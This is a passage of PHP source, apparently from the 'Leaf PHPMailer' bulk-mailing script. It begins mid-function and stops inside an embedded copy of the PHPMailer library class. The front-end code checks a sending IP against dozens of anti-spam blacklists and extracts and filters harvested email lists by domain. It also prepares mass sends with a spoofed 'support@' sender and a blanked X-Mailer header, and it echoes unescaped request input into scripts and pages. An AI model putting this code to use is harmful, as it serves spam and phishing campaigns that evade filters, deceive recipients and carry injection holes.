	$string=urldecode($string);
    return stripslashes(trim($string));
}
function randString($consonants) {
    $length=rand(12,25);
    $password = '';
    for ($i = 0; $i < $length; $i++) {
            $password .= $consonants[(rand() % strlen($consonants))];
    }
    return $password;
}
function leafMailCheck($email){
    if (filter_var($email, FILTER_VALIDATE_EMAIL)) return true;
    else return false;
}
# Bulit-in BlackList Checker 
if(isset($_GET['check_ip'])){
    if (isset($_GET['host'])){
        $_GET['host']=explode(",", $_GET['host']);
        foreach ($_GET['host'] as $host) {
            if (checkdnsrr($_GET['check_ip'] . "." .  $host . ".", "A")) $check= "<font color='red'> Listed</font>";
            else $check= "<font color='green'> Clean</font>";
            print 'document.getElementById("'. $host.'").innerHTML = "'.$check.'";';
        }

        exit;
    }
    $dnsbl_lookup = array(
        "all.s5h.net",
        "b.barracudacentral.org",
        "bl.spamcop.net",
        "blacklist.woody.ch",
        "bogons.cymru.com",
        "cbl.abuseat.org",
        "cdl.anti-spam.org.cn",
        "combined.abuse.ch",
        "db.wpbl.info",
        "dnsbl-1.uceprotect.net",
        "dnsbl-2.uceprotect.net",
        "dnsbl-3.uceprotect.net",
        "dnsbl.anticaptcha.net",
        "dnsbl.dronebl.org",
        "dnsbl.inps.de",
        "dnsbl.sorbs.net",
        "drone.abuse.ch",
        "duinv.aupads.org",
        "dul.dnsbl.sorbs.net",
        "dyna.spamrats.com",
        "dynip.rothen.com",
        "http.dnsbl.sorbs.net",
        "ips.backscatterer.org",
        "ix.dnsbl.manitu.net",
        "korea.services.net",
        "misc.dnsbl.sorbs.net",
        "noptr.spamrats.com",
        "orvedb.aupads.org",
        "pbl.spamhaus.org",
        "proxy.bl.gweep.ca",
        "psbl.surriel.com",
        "relays.bl.gweep.ca",
        "relays.nether.net",
        "sbl.spamhaus.org",
        "short.rbl.jp",
        "singular.ttk.pte.hu",
        "smtp.dnsbl.sorbs.net",
        "socks.dnsbl.sorbs.net",
        "spam.abuse.ch",
        "spam.dnsbl.anonmails.de",
        "spam.dnsbl.sorbs.net",
        "spam.spamrats.com",
        "spambot.bls.digibase.ca",
        "spamrbl.imp.ch",
        "spamsources.fabel.dk",
        "ubl.lashback.com",
        "ubl.unsubscore.com",
        "virus.rbl.jp",
        "web.dnsbl.sorbs.net",
        "wormrbl.imp.ch",
        "xbl.spamhaus.org",
        "z.mailspike.net",
        "zen.spamhaus.org",
        "zombie.dnsbl.sorbs.net",
    );
    $reverse_ip = implode(".", array_reverse(explode(".", $_GET['check_ip'])));
    $dnsT = count($dnsbl_lookup);
    leafheader();
    print '<div class="container col-lg-6"><h3><font color="green"><span class="glyphicon glyphicon-leaf"></span></font> Leaf PHPMailer <small>Blacklist Checker</small></h3>';
    Print "Checking <b>".$_GET['check_ip']."</b> in <b>$dnsT</b>  anti-spam databases:<br>";
    $dnsN="";
    print '<table >';
    for ($i=0; $i < $dnsT; $i=$i+10) { 
        $host="";
        $hosts="";
        for($j=$i; $j<$i+10;$j++){
            $host=$dnsbl_lookup[$j];
            if(!empty($host)){
                print "<tr> <td>$host</td> <td id='$host'>Checking ..</td></tr>";
                $hosts .="$host,";
            }
        }
        $dnsN.="<script src='?check_ip=$reverse_ip&host=".$hosts."' type='text/javascript'></script>";
    }

    print '</table></div>';
    print $dnsN;
    exit;
}
if(isset($_GET['emailfilter'])){

    if(!empty($_FILES['fileToUpload']['tmp_name'])){
        $_POST['emailList']= file_get_contents($_FILES["fileToUpload"]["tmp_name"]); 
    }
    $_POST['emailList']=strtolower($_POST['emailList']);
   if($_GET['emailfilter']=="ifram"){
        if ($_POST['resulttype'] == "download"){
            header("Content-Description: File Transfer"); 
            header("Content-Type: application/octet-stream"); 
            header("Content-Disposition: attachment; filename=emails".time().".txt");
        }
        else {
            header("Content-Type: text/plain");
        }
    if($_POST['submit']=="extract"){
        $pattern = '/[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Za-z]{2,4}/';
        preg_match_all($pattern, $_POST['emailList'], $matches);
        foreach ($matches[0] as $email) {
            print $email."\n";
        }
    }
    elseif ($_POST['submit']=="filter") {
        $emails=explode("\n", $_POST['emailList']);
        $keywords=explode("\n", strtolower($_POST['keywords']));
        foreach ($emails as $email) {
            foreach ($keywords as $keyword ) {
                if(strstr($email, $keyword) ){
                    print $email."\n";
                     break;
                }
               
            }
        }

    }
    exit;
   }
   leafheader();
   print '<div class="container col-lg-4"><h3><font color="green"><span class="glyphicon glyphicon-leaf"></span></font> Leaf PHPMailer <small>Email Filter</small></h3>';
   print '
    <form action="?emailfilter=ifram" method="POST" target="my-iframe" enctype="multipart/form-data" onsubmit=\'\'>
        <label for="emailList">Text </label><input type="file" name="fileToUpload" id="fileToUpload"> 
        or

        <textarea name="emailList" id="emailList" class="form-control" rows="7" id="textArea"></textarea>
      <div class="col-lg-12">
        <div class="radio">
          <label>
            <input type="radio" name="resulttype" id="resulttype" value="here" checked="">
            Show Result in this page
          </label>
        </div>
        <div class="radio">
          <label>
            <input type="radio" name="resulttype" id="resulttype" value="download">
            Download Result (for big numbers)
          </label>
        </div>
      </div>
            <legend><h4>Extract Email</h4></legend>
            Detecting every email (100%) and order them line by line <br><br>
        <button type="submit" name="submit" value="extract" class="btn btn-default btn-sm">Start</button>
            <legend><h4>Filter Emails</h4></legend>
        <label >Keywords <small> ex: gmail.com or .co.uk</small> </label><textarea name="keywords" id="keywords" class="form-control" rows="4" id="textArea">gmail.com
hotmail.com
yahoo.com
.co.uk</textarea><br>

            <button type="submit" name="submit" value="filter" class="btn btn-default btn-sm">Start</button>
    </form>
    <label >Result </label>
    <iframe style="border:none;width:100%;" name="my-iframe"  src="?emailfilter=ifram" ></iframe>
   ';
   exit;

}
$html="checked";
$utf8="selected";
$bit8="selected";

if($_POST['action']=="send" or $_POST['action']=="score"){

    $senderEmail=leafTrim($_POST['senderEmail']);
    $senderName=leafTrim($_POST['senderName']);
    $replyTo=leafTrim($_POST['replyTo']);
    $subject=leafTrim($_POST['subject']);
    $emailList=leafTrim($_POST['emailList']);
    $messageType=leafTrim($_POST['messageType']);
    $messageLetter=leafTrim($_POST['messageLetter']);
    $encoding = $_POST['encode'];
    $charset = $_POST['charset'];
    $html="";
    $utf8="";
    $bit8="";

    if($messageType==2) $plain="checked";
    else $html="checked";

    if($charset=="ISO-8859-1") $iso="selected";
    else $utf8="selected";

    if($encoding=="7bit") $bit7="selected";
    elseif($encoding=="binary") $binary="selected";
    elseif($encoding=="base64") $base64="selected";
    elseif($encoding=="quoted-printable") $quotedprintable="selected";
    else $bit8="selected";



}
if($_POST['action']=="view"){
	$viewMessage=leafTrim($_POST['messageLetter']);
	$viewMessage=leafClear($viewMessage,"user@domain.com");
	if ($_POST['messageType']==2){
		print "<pre>".htmlspecialchars($viewMessage)."</pre>";
	}
	else {
		print $viewMessage;
	}
	exit;
}



if(!isset($_POST['senderEmail'])){
    $senderEmail="support@".str_replace("www.", "", $_SERVER['HTTP_HOST']);
    if (!leafMailCheck($senderEmail)) $senderEmail="";
}

class PHPMailer
{
    /**
     * The PHPMailer Version number.
     * @var string
     */
    public $Version = '5.2.28';

    /**
     * Email priority.
     * Options: null (default), 1 = High, 3 = Normal, 5 = low.
     * When null, the header is not set at all.
     * @var integer
     */
    public $Priority = null;

    /**
     * The character set of the message.
     * @var string
     */
    public $CharSet = 'iso-8859-1';

    /**
     * The MIME Content-type of the message.
     * @var string
     */
    public $ContentType = 'text/plain';

    /**
     * The message encoding.
     * Options: "8bit", "7bit", "binary", "base64", and "quoted-printable".
     * @var string
     */
    public $Encoding = '8bit';

    /**
     * Holds the most recent mailer error message.
     * @var string
     */
    public $ErrorInfo = '';

    /**
     * The From email address for the message.
     * @var string
     */
    public $From = 'root@localhost';

    /**
     * The From name of the message.
     * @var string
     */
    public $FromName = 'Root User';

    /**
     * The Sender email (Return-Path) of the message.
     * If not empty, will be sent via -f to sendmail or as 'MAIL FROM' in smtp mode.
     * @var string
     */
    public $Sender = '';

    /**
     * The Return-Path of the message.
     * If empty, it will be set to either From or Sender.
     * @var string
     * @deprecated Email senders should never set a return-path header;
     * it's the receiver's job (RFC5321 section 4.4), so this no longer does anything.
     * @link https://tools.ietf.org/html/rfc5321#section-4.4 RFC5321 reference
     */
    public $ReturnPath = '';

    /**
     * The Subject of the message.
     * @var string
     */
    public $Subject = '';

    /**
     * An HTML or plain text message body.
     * If HTML then call isHTML(true).
     * @var string
     */
    public $Body = '';

    /**
     * The plain-text message body.
     * This body can be read by mail clients that do not have HTML email
     * capability such as mutt & Eudora.
     * Clients that can read HTML will view the normal Body.
     * @var string
     */
    public $AltBody = '';

    /**
     * An iCal message part body.
     * Only supported in simple alt or alt_inline message types
     * To generate iCal events, use the bundled extras/EasyPeasyICS.php class or iCalcreator
     * @link http://sprain.ch/blog/downloads/php-class-easypeasyics-create-ical-files-with-php/
     * @link http://kigkonsult.se/iCalcreator/
     * @var string
     */
    public $Ical = '';

    /**
     * The complete compiled MIME message body.
     * @access protected
     * @var string
     */
    protected $MIMEBody = '';

    /**
     * The complete compiled MIME message headers.
     * @var string
     * @access protected
     */
    protected $MIMEHeader = '';

    /**
     * Extra headers that createHeader() doesn't fold in.
     * @var string
     * @access protected
     */
    protected $mailHeader = '';

    /**
     * Word-wrap the message body to this number of chars.
     * Set to 0 to not wrap. A useful value here is 78, for RFC2822 section 2.1.1 compliance.
     * @var integer
     */
    public $WordWrap = 0;

    /**
     * Which method to use to send mail.
     * Options: "mail", "sendmail", or "smtp".
     * @var string
     */
    public $Mailer = 'mail';

    /**
     * The path to the sendmail program.
     * @var string
     */
    public $Sendmail = '/usr/sbin/sendmail';

    /**
     * Whether mail() uses a fully sendmail-compatible MTA.
     * One which supports sendmail's "-oi -f" options.
     * @var boolean
     */
    public $UseSendmailOptions = true;

    /**
     * Path to PHPMailer plugins.
     * Useful if the SMTP class is not in the PHP include path.
     * @var string
     * @deprecated Should not be needed now there is an autoloader.
     */
    public $PluginDir = '';

    /**
     * The email address that a reading confirmation should be sent to, also known as read receipt.
     * @var string
     */
    public $ConfirmReadingTo = '';

    /**
     * The hostname to use in the Message-ID header and as default HELO string.
     * If empty, PHPMailer attempts to find one with, in order,
     * $_SERVER['SERVER_NAME'], gethostname(), php_uname('n'), or the value
     * 'localhost.localdomain'.
     * @var string
     */
    public $Hostname = '';

    /**
     * An ID to be used in the Message-ID header.
     * If empty, a unique id will be generated.
     * You can set your own, but it must be in the format "<id@domain>",
     * as defined in RFC5322 section 3.6.4 or it will be ignored.
     * @see https://tools.ietf.org/html/rfc5322#section-3.6.4
     * @var string
     */
    public $MessageID = '';

    /**
     * The message Date to be used in the Date header.
     * If empty, the current date will be added.
     * @var string
     */
    public $MessageDate = '';

    /**
     * SMTP hosts.
     * Either a single hostname or multiple semicolon-delimited hostnames.
     * You can also specify a different port
     * for each host by using this format: [hostname:port]
     * (e.g. "smtp1.example.com:25;smtp2.example.com").
     * You can also specify encryption type, for example:
     * (e.g. "tls://smtp1.example.com:587;ssl://smtp2.example.com:465").
     * Hosts will be tried in order.
     * @var string
     */
    public $Host = 'localhost';

    /**
     * The default SMTP server port.
     * @var integer
     * @TODO Why is this needed when the SMTP class takes care of it?
     */
    public $Port = 25;

    /**
     * The SMTP HELO of the message.
     * Default is $Hostname. If $Hostname is empty, PHPMailer attempts to find
     * one with the same method described above for $Hostname.
     * @var string
     * @see PHPMailer::$Hostname
     */
    public $Helo = '';

    /**
     * What kind of encryption to use on the SMTP connection.
     * Options: '', 'ssl' or 'tls'
     * @var string
     */
    public $SMTPSecure = '';

    /**
     * Whether to enable TLS encryption automatically if a server supports it,
     * even if `SMTPSecure` is not set to 'tls'.
     * Be aware that in PHP >= 5.6 this requires that the server's certificates are valid.
     * @var boolean
     */
    public $SMTPAutoTLS = true;

    /**
     * Whether to use SMTP authentication.
     * Uses the Username and Password properties.
     * @var boolean
     * @see PHPMailer::$Username
     * @see PHPMailer::$Password
     */
    public $SMTPAuth = false;

    /**
     * Options array passed to stream_context_create when connecting via SMTP.
     * @var array
     */
    public $SMTPOptions = array();

    /**
     * SMTP username.
     * @var string
     */
    public $Username = '';

    /**
     * SMTP password.
     * @var string
     */
    public $Password = '';

    /**
     * SMTP auth type.
     * Options are CRAM-MD5, LOGIN, PLAIN, NTLM, XOAUTH2, attempted in that order if not specified
     * @var string
     */
    public $AuthType = '';

    /**
     * SMTP realm.
     * Used for NTLM auth
     * @var string
     */
    public $Realm = '';

    /**
     * SMTP workstation.
     * Used for NTLM auth
     * @var string
     */
    public $Workstation = '';

    /**
     * The SMTP server timeout in seconds.
     * Default of 5 minutes (300sec) is from RFC2821 section 4.5.3.2
     * @var integer
     */
    public $Timeout = 300;

    /**
     * SMTP class debug output mode.
     * Debug output level.
     * Options:
     * * `0` No output
     * * `1` Commands
     * * `2` Data and commands
     * * `3` As 2 plus connection status
     * * `4` Low-level data output
     * @var integer
     * @see SMTP::$do_debug
     */
    public $SMTPDebug = 0;

    /**
     * How to handle debug output.
     * Options:
     * * `echo` Output plain-text as-is, appropriate for CLI
     * * `html` Output escaped, line breaks converted to `<br>`, appropriate for browser output
     * * `error_log` Output to error log as configured in php.ini
     *
     * Alternatively, you can provide a callable expecting two params: a message string and the debug level:
     * <code>
     * $mail->Debugoutput = function($str, $level) {echo "debug level $level; message: $str";};
     * </code>
     * @var string|callable
     * @see SMTP::$Debugoutput
     */
    public $Debugoutput = 'echo';

    /**
     * Whether to keep SMTP connection open after each message.
     * If this is set to true then to close the connection
     * requires an explicit call to smtpClose().
     * @var boolean
     */
    public $SMTPKeepAlive = false;

    /**
     * Whether to split multiple to addresses into multiple messages
     * or send them all in one message.
     * Only supported in `mail` and `sendmail` transports, not in SMTP.
     * @var boolean
     */
    public $SingleTo = false;

    /**
     * Storage for addresses when SingleTo is enabled.
     * @var array
     * @TODO This should really not be public
     */
    public $SingleToArray = array();

    /**
     * Whether to generate VERP addresses on send.
     * Only applicable when sending via SMTP.
     * @link https://en.wikipedia.org/wiki/Variable_envelope_return_path
     * @link http://www.postfix.org/VERP_README.html Postfix VERP info
     * @var boolean
     */
    public $do_verp = false;

    /**
     * Whether to allow sending messages with an empty body.
     * @var boolean
     */
    public $AllowEmpty = false;

    /**
     * The default line ending.
     * @note The default remains "\n". We force CRLF where we know
     *        it must be used via self::CRLF.
     * @var string
     */
    public $LE = "\n";

    /**
     * DKIM selector.
     * @var string
     */
    public $DKIM_selector = '';

    /**
     * DKIM Identity.
     * Usually the email address used as the source of the email.
     * @var string
     */
    public $DKIM_identity = '';

    /**
     * DKIM passphrase.
     * Used if your key is encrypted.
     * @var string
     */
    public $DKIM_passphrase = '';

    /**
     * DKIM signing domain name.
     * @example 'example.com'
     * @var string
     */
    public $DKIM_domain = '';

    /**
     * DKIM private key file path.
     * @var string
     */
    public $DKIM_private = '';

    /**
     * DKIM private key string.
     * If set, takes precedence over `$DKIM_private`.
     * @var string
     */
    public $DKIM_private_string = '';

    /**
     * Callback Action function name.
     *
     * The function that handles the result of the send email action.
     * It is called out by send() for each email sent.
     *
     * Value can be any php callable: http://www.php.net/is_callable
     *
     * Parameters:
     *   boolean $result        result of the send action
     *   array   $to            email addresses of the recipients
     *   array   $cc            cc email addresses
     *   array   $bcc           bcc email addresses
     *   string  $subject       the subject
     *   string  $body          the email body
     *   string  $from          email address of sender
     * @var string
     */
    public $action_function = '';

    /**
     * What to put in the X-Mailer header.
     * Options: An empty string for PHPMailer default, whitespace for none, or a string to use
     * @var string
     */
    public $XMailer = ' ';

    /**
     * Which validator to use by default when validating email addresses.
     * May be a callable to inject your own validator, but there are several built-in validators.
     * @see PHPMailer::validateAddress()
     * @var string|callable
     * @static
     */
    public static $validator = 'auto';

    /**
     * An instance of the SMTP sender class.
     * @var SMTP
     * @access protected
     */
    protected $smtp = null;

    /**
     * The array of 'to' names and addresses.
     * @var array
     * @access protected
     */
    protected $to = array();

    /**
     * The array of 'cc' names and addresses.
     * @var array
     * @access protected
     */
    protected $cc = array();

    /**
     * The array of 'bcc' names and addresses.
     * @var array
     * @access protected
     */
    protected $bcc = array();

    /**
     * The array of reply-to names and addresses.
     * @var array
     * @access protected
     */
    protected $ReplyTo = array();

    /**
     * An array of all kinds of addresses.
     * Includes all of $to, $cc, $bcc
     * @var array
     * @access protected
     * @see PHPMailer::$to @see PHPMailer::$cc @see PHPMailer::$bcc
     */
    protected $all_recipients = array();

    /**
     * An array of names and addresses queued for validation.
     * In send(), valid and non duplicate entries are moved to $all_recipients
     * and one of $to, $cc, or $bcc.
     * This array is used only for addresses with IDN.
     * @var array
     * @access protected
     * @see PHPMailer::$to @see PHPMailer::$cc @see PHPMailer::$bcc
     * @see PHPMailer::$all_recipients
     */
    protected $RecipientsQueue = array();

    /**
     * An array of reply-to names and addresses queued for validation.
     * In send(), valid and non duplicate entries are moved to $ReplyTo.
     * This array is used only for addresses with IDN.
     * @var array
     * @access protected
     * @see PHPMailer::$ReplyTo
     */
    protected $ReplyToQueue = array();

    /**
     * The array of attachments.
     * @var array
     * @access protected
     */
    protected $attachment = array();

    /**
     * The array of custom headers.
     * @var array
     * @access protected
     */
    protected $CustomHeader = array();

    /**
     * The most recent Message-ID (including angular brackets).
     * @var string
     * @access protected
     */
    protected $lastMessageID = '';

    /**
     * The message's MIME type.
     * @var string
     * @access protected
     */
    protected $message_type = '';

    /**
     * The array of MIME boundary strings.
     * @var array
     * @access protected
     */
    protected $boundary = array();

    /**
     * The array of available languages.
     * @var array
     * @access protected
     */
    protected $language = array();

    /**
     * The number of errors encountered.
     * @var integer
     * @access protected
     */
    protected $error_count = 0;

    /**
     * The S/MIME certificate file path.
     * @var string
     * @access protected
     */
    protected $sign_cert_file = '';

    /**
     * The S/MIME key file path.
     * @var string
     * @access protected
     */
    protected $sign_key_file = '';

    /**
     * The optional S/MIME extra certificates ("CA Chain") file path.
     * @var string
     * @access protected
     */
    protected $sign_extracerts_file = '';

    /**
     * The S/MIME password for the key.
     * Used only if the key is encrypted.
     * @var string
     * @access protected
     */
    protected $sign_key_pass = '';

    /**
     * Whether to throw exceptions for errors.
     * @var boolean
     * @access protected
     */
    protected $exceptions = false;

    /**
     * Unique ID used for message ID and boundaries.
     * @var string
     * @access protected
     */
    protected $uniqueid = '';

    /**
     * Error severity: message only, continue processing.
     */
    const STOP_MESSAGE = 0;

    /**
     * Error severity: message, likely ok to continue processing.
     */
    const STOP_CONTINUE = 1;

    /**
     * Error severity: message, plus full stop, critical error reached.
     */
    const STOP_CRITICAL = 2;

    /**
     * SMTP RFC standard line ending.
     */
    const CRLF = "\r\n";

    /**
     * The maximum line length allowed by RFC 2822 section 2.1.1
     * @var integer
     */
    const MAX_LINE_LENGTH = 998;

    /**
     * Constructor.
     * @param boolean $exceptions Should we throw external exceptions?
     */
    public function __construct($exceptions = null)
    {
        if ($exceptions !== null) {
            $this->exceptions = (boolean)$exceptions;
        }
        //Pick an appropriate debug output format automatically
        $this->Debugoutput = (strpos(PHP_SAPI, 'cli') !== false ? 'echo' : 'html');
    }

    /**
     * Destructor.
     */
    public function __destruct()
    {
        //Close any open SMTP connection nicely
        $this->smtpClose();
    }

    /**
     * Call mail() in a safe_mode-aware fashion.
     * Also, unless sendmail_path points to sendmail (or something that
     * claims to be sendmail), don't pass params (not a perfect fix,
     * but it will do)
     * @param string $to To
     * @param string $subject Subject
     * @param string $body Message Body
     * @param string $header Additional Header(s)
     * @param string $params Params
     * @access private
     * @return boolean
     */
    private function mailPassthru($to, $subject, $body, $header, $params)
    {
        //Check overloading of mail function to avoid double-encoding
        if (ini_get('mbstring.func_overload') & 1) {
            $subject = $this->secureHeader($subject);
        } else {
            $subject = $this->encodeHeader($this->secureHeader($subject));
        }

        //Can't use additional_parameters in safe_mode, calling mail() with null params breaks
        //@link http://php.net/manual/en/function.mail.php
        if (ini_get('safe_mode') or !$this->UseSendmailOptions or is_null($params)) {
            $result = @mail($to, $subject, $body, $header);
        } else {
            $result = @mail($to, $subject, $body, $header, $params);
        }
        return $result;
    }
    /**
     * Output debugging info via user-defined method.
     * Only generates output if SMTP debug output is enabled (@see SMTP::$do_debug).
     * @see PHPMailer::$Debugoutput
     * @see PHPMailer::$SMTPDebug
     * @param string $str
     */
    protected function edebug($str)
    {
        if ($this->SMTPDebug <= 0) {
            return;
        }
        //Avoid clash with built-in function names
        if (!in_array($this->Debugoutput, array('error_log', 'html', 'echo')) and is_callable($this->Debugoutput)) {
            call_user_func($this->Debugoutput, $str, $this->SMTPDebug);
            return;
        }
        switch ($this->Debugoutput) {
            case 'error_log':
                //Don't output, just log
                error_log($str);
                break;
            case 'html':
                //Cleans up output a bit for a better looking, HTML-safe output
                echo htmlentities(
                    preg_replace('/[\r\n]+/', '', $str),
                    ENT_QUOTES,
                    'UTF-8'
                )
                . "<br>\n";
                break;
            case 'echo':
            default:
                //Normalize line breaks
                $str = preg_replace('/\r\n?/ms', "\n", $str);
                echo gmdate('Y-m-d H:i:s') . "\t" . str_replace(
                    "\n",
                    "\n                   \t                  ",
                    trim($str)
                ) . "\n";
        }
    }

    /**
     * Send messages using SMTP.
     * @return void
     */
    public function isSMTP()
    {
        $this->Mailer = 'smtp';
    }

    /**
     * Send messages using PHP's mail() function.
     * @return void
     */
    public function isMail()
    {
        $this->Mailer = 'mail';
    }

    /**
     * Send messages using $Sendmail.
     * @return void
     */
    public function isSendmail()
    {
        $ini_sendmail_path = ini_get('sendmail_path');

        if (!stristr($ini_sendmail_path, 'sendmail')) {
            $this->Sendmail = '/usr/sbin/sendmail';
        } else {
            $this->Sendmail = $ini_sendmail_path;
        }
        $this->Mailer = 'sendmail';
    }

    /**
     * Send messages using qmail.
     * @return void
     */
    public function isQmail()
    {
        $ini_sendmail_path = ini_get('sendmail_path');

        if (!stristr($ini_sendmail_path, 'qmail')) {
            $this->Sendmail = '/var/qmail/bin/qmail-inject';
        } else {
            $this->Sendmail = $ini_sendmail_path;
        }
        $this->Mailer = 'qmail';
    }

    /**
     * Add a "To" address.
     * @param string $address The email address to send to
     * @param string $name
     * @return boolean true on success, false if address already used or invalid in some way
     */
    public function addAddress($address, $name = '')
    {
        return $this->addOrEnqueueAnAddress('to', $address, $name);
    }

    /**
     * Add a "CC" address.
     * @note: This function works with the SMTP mailer on win32, not with the "mail" mailer.
     * @param string $address The email address to send to
     * @param string $name
     * @return boolean true on success, false if address already used or invalid in some way
     */
    public function addCC($address, $name = '')
    {
        return $this->addOrEnqueueAnAddress('cc', $address, $name);
    }

    /**
     * Add a "BCC" address.
     * @note: This function works with the SMTP mailer on win32, not with the "mail" mailer.
     * @param string $address The email address to send to
     * @param string $name
     * @return boolean true on success, false if address already used or invalid in some way
     */
    public function addBCC($address, $name = '')
    {
        return $this->addOrEnqueueAnAddress('bcc', $address, $name);
    }

    /**
     * Add a "Reply-To" address.
     * @param string $address The email address to reply to
     * @param string $name
     * @return boolean true on success, false if address already used or invalid in some way
     */
    public function addReplyTo($address, $name = '')
    {
        return $this->addOrEnqueueAnAddress('Reply-To', $address, $name);
    }

    /**
     * Add an address to one of the recipient arrays or to the ReplyTo array. Because PHPMailer
     * can't validate addresses with an IDN without knowing the PHPMailer::$CharSet (that can still
     * be modified after calling this function), addition of such addresses is delayed until send().
     * Addresses that have been added already return false, but do not throw exceptions.
     * @param string $kind One of 'to', 'cc', 'bcc', or 'ReplyTo'
     * @param string $address The email address to send, resp. to reply to
     * @param string $name
     * @throws phpmailerException
     * @return boolean true on success, false if address already used or invalid in some way
     * @access protected
     */
    protected function addOrEnqueueAnAddress($kind, $address, $name)
    {
        $address = trim($address);
        $name = trim(preg_replace('/[\r\n]+/', '', $name)); //Strip breaks and trim
        if (($pos = strrpos($address, '@')) === false) {
            // At-sign is misssing.
            $error_message = $this->lang('invalid_address') . " (addAnAddress $kind): $address";
            $this->setError($error_message);
            $this->edebug($error_message);
            if ($this->exceptions) {
                throw new phpmailerException($error_message);
            }
            return false;
        }
        $params = array($kind, $address, $name);
        // Enqueue addresses with IDN until we know the PHPMailer::$CharSet.
        if ($this->has8bitChars(substr($address, ++$pos)) and $this->idnSupported()) {
            if ($kind != 'Reply-To') {
                if (!array_key_exists($address, $this->RecipientsQueue)) {
                    $this->RecipientsQueue[$address] = $params;
                    return true;
                }
            } else {
                if (!array_key_exists($address, $this->ReplyToQueue)) {
                    $this->ReplyToQueue[$address] = $params;
                    return true;
                }
            }
            return false;
        }
        // Immediately add standard addresses without IDN.
        return call_user_func_array(array($this, 'addAnAddress'), $params);
    }

    /**
     * Add an address to one of the recipient arrays or to the ReplyTo array.
     * Addresses that have been added already return false, but do not throw exceptions.
     * @param string $kind One of 'to', 'cc', 'bcc', or 'ReplyTo'
     * @param string $address The email address to send, resp. to reply to
     * @param string $name
     * @throws phpmailerException
     * @return boolean true on success, false if address already used or invalid in some way
     * @access protected
     */
    protected function addAnAddress($kind, $address, $name = '')
    {
        if (!in_array($kind, array('to', 'cc', 'bcc', 'Reply-To'))) {
            $error_message = $this->lang('Invalid recipient kind: ') . $kind;
            $this->setError($error_message);
            $this->edebug($error_message);
            if ($this->exceptions) {
                throw new phpmailerException($error_message);
            }
            return false;
        }
        if (!$this->validateAddress($address)) {
            $error_message = $this->lang('invalid_address') . " (addAnAddress $kind): $address";
            $this->setError($error_message);
            $this->edebug($error_message);
            if ($this->exceptions) {
                throw new phpmailerException($error_message);
            }
            return false;
        }
        if ($kind != 'Reply-To') {
            if (!array_key_exists(strtolower($address), $this->all_recipients)) {
                array_push($this->$kind, array($address, $name));
                $this->all_recipients[strtolower($address)] = true;
                return true;
            }
        } else {
            if (!array_key_exists(strtolower($address), $this->ReplyTo)) {
                $this->ReplyTo[strtolower($address)] = array($address, $name);
                return true;
            }
        }
        return false;
    }

    /**
     * Parse and validate a string containing one or more RFC822-style comma-separated email addresses
     * of the form "display name <address>" into an array of name/address pairs.
     * Uses the imap_rfc822_parse_adrlist function if the IMAP extension is available.
     * Note that quotes in the name part are removed.
     * @param string $addrstr The address list string
     * @param bool $useimap Whether to use the IMAP extension to parse the list
     * @return array
     * @link http://www.andrew.cmu.edu/user/agreen1/testing/mrbs/web/Mail/RFC822.php A more careful implementation
     */
    public function parseAddresses($addrstr, $useimap = true)
    {
        $addresses = array();
        if ($useimap and function_exists('imap_rfc822_parse_adrlist')) {
            //Use this built-in parser if it's available
            $list = imap_rfc822_parse_adrlist($addrstr, '');
            foreach ($list as $address) {
                if ($address->host != '.SYNTAX-ERROR.') {
                    if ($this->validateAddress($address->mailbox . '@' . $address->host)) {
                        $addresses[] = array(
                            'name' => (property_exists($address, 'personal') ? $address->personal : ''),
                            'address' => $address->mailbox . '@' . $address->host
                        );
                    }
                }
            }
        } else {
            //Use this simpler parser
            $list = explode(',', $addrstr);
            foreach ($list as $address) {
                $address = trim($address);
                //Is there a separate name part?
                if (strpos($address, '<') === false) {
                    //No separate name, just use the whole thing
                    if ($this->validateAddress($address)) {
                        $addresses[] = array(
                            'name' => '',
                            'address' => $address
                        );
                    }
                } else {
                    list($name, $email) = explode('<', $address);
                    $email = trim(str_replace('>', '', $email));
                    if ($this->validateAddress($email)) {
                        $addresses[] = array(
                            'name' => trim(str_replace(array('"', "'"), '', $name)),
                            'address' => $email
                        );
                    }
                }
            }
        }
        return $addresses;
    }

    /**
     * Sets message type to HTML or plain.
     * @param boolean $isHtml True for HTML mode.
     * @return void
     */
    public function isHTML($isHtml = true)
    {
        if ($isHtml) {
            $this->ContentType = 'text/html';
        } 
        else {
            $this->ContentType = 'text/plain';
        }

    }

    /**
     * Set the From and FromName properties.
     * @param string $address
     * @param string $name
     * @param boolean $auto Whether to also set the Sender address, defaults to true
     * @throws phpmailerException
     * @return boolean
     */
    public function setFrom($address, $name = '', $auto = true)
    {
        $address = trim($address);
        $name = trim(preg_replace('/[\r\n]+/', '', $name)); //Strip breaks and trim
        // Don't validate now addresses with IDN. Will be done in send().
        if (($pos = strrpos($address, '@')) === false or
            (!$this->has8bitChars(substr($address, ++$pos)) or !$this->idnSupported()) and
            !$this->validateAddress($address)) {
            $error_message = $this->lang('invalid_address') . " (setFrom) $address";
            $this->setError($error_message);
            $this->edebug($error_message);
            if ($this->exceptions) {
                throw new phpmailerException($error_message);
            }
            return false;
        }
        $this->From = $address;
        $this->FromName = $name;
        if ($auto) {
            if (empty($this->Sender)) {
                $this->Sender = $address;
            }
        }
        return true;
    }

    /**
     * Return the Message-ID header of the last email.
     * Technically this is the value from the last time the headers were created,
     * but it's also the message ID of the last sent message except in
     * pathological cases.
     * @return string
     */
    public function getLastMessageID()
    {
        return $this->lastMessageID;
    }

    /**
     * Check that a string looks like an email address.
     * @param string $address The email address to check
     * @param string|callable $patternselect A selector for the validation pattern to use :
     * * `auto` Pick best pattern automatically;
     * * `pcre8` Use the squiloople.com pattern, requires PCRE > 8.0, PHP >= 5.3.2, 5.2.14;
     * * `pcre` Use old PCRE implementation;
     * * `php` Use PHP built-in FILTER_VALIDATE_EMAIL;
     * * `html5` Use the pattern given by the HTML5 spec for 'email' type form input elements.
     * * `noregex` Don't use a regex: super fast, really dumb.
     * Alternatively you may pass in a callable to inject your own validator, for example:
     * PHPMailer::validateAddress('user@example.com', function($address) {
     *     return (strpos($address, '@') !== false);
     * });
     * You can also set the PHPMailer::$validator static to a callable, allowing built-in methods to use your validator.
     * @return boolean
     * @static
     * @access public
     */
    public static function validateAddress($address, $patternselect = null)
    {
        if (is_null($patternselect)) {
            $patternselect = self::$validator;
        }
        if (is_callable($patternselect)) {
            return call_user_func($patternselect, $address);
        }
        //Reject line breaks in addresses; it's valid RFC5322, but not RFC5321
        if (strpos($address, "\n") !== false or strpos($address, "\r") !== false) {
            return false;
        }
        if (!$patternselect or $patternselect == 'auto') {
